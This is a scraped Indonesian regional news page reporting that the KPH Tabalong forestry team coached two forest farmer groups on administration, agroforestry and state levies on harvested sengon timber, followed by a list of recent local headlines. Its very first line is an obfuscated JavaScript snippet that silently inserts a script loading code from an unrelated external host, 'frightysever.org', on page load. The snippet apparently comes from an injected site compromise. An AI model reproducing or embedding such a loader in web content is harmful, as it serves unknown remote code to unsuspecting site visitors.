(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

KPH Tabalong Lakukan Pembinaan Dua KTH


BANJARBARU, Pemegang izin perhutanan sosial diharapkan dapat melakukan operasionalisasi terhadap izin-izin yang sudah diberikan melalui pengembangakan usaha produktif dengan membentuk KUPS-KUPS sesuai dengan potensi wilayah izinnya. Hal ini agar bisa memberikan kesejahteraan masyarakat sekitar hutan sesuai dengan salah satu indikator Dinas kehutanan Provinsi Kalimantan Selatan yaitu peningkatan kesejahteraan masyarakat.

Dalam rangka percepatan Perhutanan Sosial, Tim percepatan Perhutanan Sosial KPH Tabalong bergerak melaksanakan kegiatan pembinaan dan pengembangan ke KTH Watu Murung di Desa Kinarum Kecamatan Upau dan KTH Penepeh Lestari di Desa Kaong Kecamatan Upau.

Dalam pertemuan Tim dari KPH Tabalong memberikan materi pembinaan KTH dengan pembenahan administrasi KTH dan Pengelolaan Jasling, agar kegiatan dapat dimonitor secara administrasi dan pengelolaan keuangannya.

Anggota KTH Watu Marung mendukung Program Revjo dengan kegiatan KTH Menanam, dalam pertemuan juga disampaikan oleh TKPH mengenai program” pemerintah sekarang yg sdh drasakan oleh masyarakat, khususnya kegiatan pembangunan Kehutanan.

Selanjutnya dilakukan pertemuan dengan KTH Penepeh Lestari, pada KTH tersebut sudahhhh ada kegiatan Agroforestry seluas 30 Ha dan KTH menanam sebanyak 5000 Bibit Sengon. Dalam pertemuan dengan KTH Penepeh Lestari Tim mensosialisasikan Permenlhk No. P. 71 tahun 2016 tentang Tata Cara Pengenaan, Pemungutan dan Penyetoran PSDH, DR, Ganti Rugi Tegakan, Denda Pelanggaran Eksplotasi Hutan dan Iuaran Izin Usaha, Permen Kehutanan No : P. 68 tahun 2014 tentang Penetapan Harga Patokan Hasil Hutan Untuk Perhitungan PSDH, DR, Ganti Rugi Tegakan dan Penggantian Nilai Tegakan dan PP No. 12 thn 2014 tentang Jenis dan Tarif Atas Jenis Penerimaan Negara Bukan Pajak Yang Berlaku pada Kementetian Kehutanan.

Anggota KTH Penepeh Lestari tidak keberatan jika nantinya hasil hutan yang mereka kelola (tanaman sengon) akan kita kenakan tarif PNBP setelah mereka panen, mereka mendukung program pemerintah khususnya dalam pembangunan kehutanan di KPH Tabalong pada khususnya dan Kalsel pada umumnya.(dishut)

Reporter : Dishutprovkalsel
Editor : Chell

Desy Arfianty

Recent Posts

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

60 menit ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

2 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

5 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

8 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

11 jam ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

11 jam ago

This website uses cookies.